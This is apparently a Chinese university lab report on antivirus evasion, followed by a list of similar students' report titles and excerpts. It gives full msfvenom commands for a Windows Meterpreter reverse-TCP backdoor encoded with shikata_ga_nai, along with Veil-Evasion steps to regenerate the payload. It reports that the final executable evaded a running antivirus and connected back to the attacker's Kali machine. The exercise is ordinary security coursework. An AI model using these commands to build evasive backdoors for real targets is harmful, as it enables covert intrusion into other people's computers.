关键词：
20155338《网络对抗》Exp3 免杀原理与实践
实验过程
一、免杀效果参考基准
Kali使用上次实验msfvenom产生后门的可执行文件，上传到老师提供的网址http://www.virscan.org/上进行扫描，有48%的杀软报告病毒。
二、使用msf编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\\x00’ LHOST=kali的IP LPORT=5338端口号 -f exe >后门名字.exe
结果被查出率降低了，可能是因为进行了编码的缘故，所以网站监测结果降低了 5个百分点。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\\x00’ LHOST=kali的IP LPORT=5338端口号 -f exe > 后门名字.exe
多次编码好像和第一次的结果差不多，恢复后依然放入网站检查。
三、使用Veil-Evasion重新编写源代码
-
这里直接使用的是老师的Kali，veil已经安装好。
-
在Kali的终端中启动Veil-Evasion
-
命令行中输入veil，后在veil中输入命令use evasion
-
依次输入如下命令生成你的可执行文件：
use c/meterpreter/rev_tcp.py
-
set LHOST Kali的IP
-
set LPORT 端口号
-
generate
-
可执行文件的文件名
扫描结果
四、C语言调用Shellcode
五、实测进行回连
- 按照上次实验用过的msf监听方法在Kali上打开监听，在Win主机开启杀软的情况下，运行最后生成的优化版exe文件，Kali成功获取了Win主机的权限
2017-2018-420155317《网络对抗技术》exp3免杀原理与实践
2017-2018-420155317《网络对抗技术》EXP3免杀原理与实践一、问题回答（1）杀软是如何检测出恶意代码的？（2）免杀是做什么？（3）免杀的基本方法有哪些？2.实践(1)正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，... 查看详情
20165218《网络对抗技术》exp3免杀原理与实践(代码片段)
Exp3免杀原理与实践任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧使用VirusTotal或Viscan网站扫描后门程序VirusTotalViscan免杀工具1——msfvenom使用编码器-使用msfvenom命... 查看详情
2017-2018-2《网络对抗技术》20155322exp3免杀原理与实践(代码片段)
#2017-2018-2《网络对抗技术》20155322Exp3免杀原理与实践[-=博客目录=-]1-实践目标1.1-实践介绍1.2-实践内容1.3-实践要求2-实践过程2.1-正确使用msf编码器2.2-veil-evasion2.3-组合应用技术实现免杀2.4-靶机实测2.5-基础问题回答3-资料1-实践目... 查看详情
20154307《网络对抗》exp3免杀原理与实践(代码片段)
20154307《网络对抗》Exp3免杀原理与实践一、基础问题回答（1）杀软是如何检测出恶意代码的？基于特征码的检测：杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配，就会把该程序当作恶意软件。启发式恶意软件... 查看详情
20155232《网络对抗》exp3免杀原理与实践(代码片段)
20155232《网络对抗》Exp3免杀原理与实践问题回答1.基础问题回答（1）杀软是如何检测出恶意代码的？基于特征码的检测特征码：一段特征码就是一段或多段数据。如果一个可执行文件（或其他运行的库、脚本等）包含这样的数据... 查看详情
20155218《网络对抗》exp3免杀原理与实践(代码片段)
20155218《网络对抗》Exp3免杀原理与实践一、使用msf生成后门程序的检测（1）将上周msf生成的后门文件放在virscan.org中进行扫描，截图如下：（2）使用msf时对它多编码1次并进行测试发现能发现的杀软变少；（3）使用msf时对它多编... 查看详情
2018-2019-220165114《网络对抗技术》exp3免杀原理与实践(代码片段)
Exp3免杀原理与实践目录一、实验内容二、基础问题回答(1)杀软是如何检测出恶意代码的？(2)免杀是做什么？(3)免杀的基本方法有哪些？三、实践过程记录正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用... 查看详情
2018-2019-2网络对抗技术201652287exp3免杀原理与实践(代码片段)
2018-2019-2网络对抗技术201652287Exp3免杀原理与实践**免杀**-一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。-要做好免杀，就时清楚杀毒软件（恶意软件检测工具）是如何工作的。AV(Anti-viru... 查看详情
2018~2019-420165107网络对抗技术exp3免杀原理与实践(代码片段)
20165107Exp3免杀原理与实践实验要求1、正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，自己利用shellcode编程等免杀工具或技巧2、通过组合应用各种技术实现恶意代码免杀3、用另一电脑实测，在杀软开... 查看详情
2018-2019-2网络对抗技术20165228exp3免杀原理与实践(代码片段)
2018-2019-2网络对抗技术20165228Exp3免杀原理与实践免杀一般是对恶意软件做处理，让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。要做好免杀，就时清楚杀毒软件（恶意软件检测工具）是如何工作的。AV(Anti-virus)是... 查看详情
网络对抗exp3免杀原理与实践20154311王卓然(代码片段)
Exp3免杀原理与实践 一、基础问题回答（1）杀软是如何检测出恶意代码的？ ①基于特征码的检测：AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶... 查看详情
20165101刘天野2018-2019-2《网络对抗技术》exp3免杀原理与实践(代码片段)
20165101刘天野2018-2019-2《网络对抗技术》Exp3免杀原理与实践1.实践内容1.1正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧1.1.1使用msf编码器输入命令msfvenom-h可查看相关用法：... 查看详情
2018-2019-2网络对抗技术20165314exp3免杀原理与实践(代码片段)
免杀原理与实践说明一、实验说明任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧；(1.5分)任务二：通过组合应用各种技术实现恶意代码免杀(1分)任务三：用另一... 查看详情
2018-2019-220162318《网络对抗技术》exp3免杀原理与实践(代码片段)
一、实验内容1.正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion），加壳工具），使用shellcode编程2.通过组合应用各种技术实现恶意代码免杀（如果成功实现了免杀的，简单语言描述原理，不要截图。与杀软共生的... 查看详情
2018-2019-2网络对抗技术20165307exp3免杀原理与实践(代码片段)
1.实践内容（3.5分）1.1正确使用msf编码器（0.5分），msfvenom生成如jar之类的其他文件（0.5分），veil-evasion（0.5分），加壳工具（0.5分），使用shellcode编程（1分）1.2通过组合应用各种技术实现恶意代码免杀(0.5分)（如果成功实现了... 查看详情
2018-2019-220165302《网络对抗技术》exp3免杀原理与实践(代码片段)
一，实验要求通过本部分内容的学习，认识到杀软局限性，提高在工作生活中对于恶意软件防范能力二，实验内容1.了解恶意软件检测机制和免杀技术的基本原理正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，... 查看详情
2018-2019-220165330《网络对抗技术》exp3免杀原理与实践(代码片段)
目录基础问题相关知识实验内容实验步骤实验过程中遇到的问题离实战还缺些什么技术或步骤？实验总结与体会实验内容正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具，自己利用shellcode编程等免杀工... 查看详情
2019-2020-220175226王鹏雲《网络对抗技术》exp3免杀原理与实践(代码片段)
2019-2020-220175226王鹏雲《网络对抗技术》Exp3免杀原理与实践实验内容1.正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，加壳工具、使用C+shellcode编程或使用其他课堂未介绍方法自己利用shellcode编程等免杀工具或技... 查看详情
